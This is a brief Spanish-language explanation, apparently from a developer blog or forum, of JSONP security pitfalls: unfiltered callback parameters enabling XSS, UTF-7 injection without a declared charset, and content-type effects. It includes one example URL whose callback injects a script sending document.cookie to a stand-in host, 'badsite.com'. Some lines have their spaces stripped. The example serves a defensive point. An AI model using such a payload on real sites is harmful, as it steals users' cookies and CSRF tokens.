El parámetro de devolución de llamada puede ser un vector XSS
Encontré una respuesta en stackoverflow que filtra la respuesta de devolución de llamada JSONP. Esto es necesario porque el parámetro de devolución de llamada se puede manipular en un ataque XSS que roba tokens CSRF como este:
http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>');})//
LasinyeccionesdeUTF7sonposiblessieljuegodecaracteresnoestáincluido
SielencabezadonoesContent-Type:application/javascript;charset=utf-8
,sonposibleslasinyeccionesdeUTF7.
Laseleccióndetipodecontenidopuedetenerunimpacto
Eltipodecontenido afecta la compresión basada en HTTP de ciertos hosts web compartidos.
Existe una cierta diferencia de funcionalidad entre lo que se puede hacer en algunos navegadores según el tipo de contenido. Tendré que desenterrar los enlaces de StackOverflow